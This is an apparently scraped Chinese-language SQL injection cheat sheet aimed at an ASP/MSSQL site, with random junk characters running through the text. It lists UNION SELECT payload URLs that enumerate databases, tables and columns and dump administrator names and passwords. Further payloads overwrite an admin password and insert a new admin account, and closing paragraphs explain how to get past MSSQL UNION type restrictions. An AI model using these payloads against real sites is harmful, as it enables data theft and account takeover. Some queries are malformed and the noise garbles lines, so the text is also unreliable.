爆库:7 w8 n8 f0 I$ e: U. X+ H
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--( @7 y3 a. x3 h7 @7 {
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.- \; k& n/ d( [
爆下一个库: o B" }/ ~( _3 ^
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--. O% I4 \7 `. ^. X- n; N0 x3 O
- m3 w, B9 [9 \0 r' I0 F爆表:2 s3 n- h' e/ h# t! K
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
0 h6 G* W6 f; u+ ]
0 I; X4 v! j- P( p* oSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
- R, K7 e4 X5 ~# m& }5 n( J
5 I5 _; o! T V5 Q2 m3 j1 M爆下一个表
; V7 d0 a( A' E2 m4 c. V. U. _http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
& y2 a( f9 V9 x+ G# m
& _3 y( H- O( ?) Y; s. ihttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--! Y5 V" R) V, a; G8 ~
- S1 o4 h- j; ^, e: \
: v; z$ I- E6 X& P
|4 E7 f1 W; ~% m' g爆字段:
$ P, k& i" y+ ~. Q: Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
) |, X. _) ?6 S: r+ M& U/ L: g
+ a s! p+ \9 e5 v. ^3 d爆下一个字段5 R0 t* `2 f; N8 Z: o: b# Y0 C* d
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--( K/ t ? d/ u+ i7 T% q5 b1 L
7 w" n/ Q9 x/ O9 E4 G) D g1 {3 yhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--# l' l2 i# [- G: I
2 c- f; y' r' S$ w/ `$ l8 O+ I, r: ^7 _8 q4 S% m5 j. I/ |8 s. t: p
爆字段里的内容
$ X) C* i0 r: j shttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--7 u, d1 e, }7 `1 F! u
% A' }1 C8 h! x/ H8 q. e) l6 j/ X
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--( r0 m8 F* ^' k
, W/ S3 k9 y/ a7 }http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--$ v# @( V3 `8 @! M& ], A* C4 J8 \
# O6 A3 U7 I% E& i- i X% \http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
. ]1 W" Z4 W( x$ d3 ^% @& X K( `
更新字段里的内容
. P: @9 `# l4 b! qhttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--6 @3 u( \ U8 u3 w/ V
' u2 f$ j& l: k- c4 P& N' V' ]http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--" B" Y0 |6 f) \7 z" O& u$ q
) J1 B$ s: n# I' j, W Y
0 P' h- g" W/ a7 P0 X
. b- ?: ]' x, g+ r& s" _ 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。3 h: L7 T) A& g! G# r, E/ {5 P+ T
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。7 @4 u) W( U/ b- Z" w6 T. h: O* f
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
/ R: M3 R P" `2 ^7 j 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。( b y5 x: K& f0 ^& [+ s0 t
S8 u( x/ i0 ]2 W( f* t
突了了大部份限制的语句6 s* w5 @, f. s: w$ t. J
and 1=2 union all select char(49),char(50),null,null;--
( C! _4 Q! y5 _" I( V% g- ~9 |& c
: A% f1 W( `' w7 G) P" f3 g- `
. Q d: ~# G1 [null也可以正常执行,不过没有回显,不好判断回显的列数。
$ C2 H: L* X9 n一般union遇到问题都是有text或者ntext字段,image的很少遇到
0 p4 ^0 b0 [3 F) I& l( J$ `: E& A0 j" m8 h
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
! n) c* _) v4 ?0 `' L; t/ y
1 b v9 v& @ O8 Z; Q: d
& n6 [$ c& A- e x* n6 D" k9 Z D1 d3 z |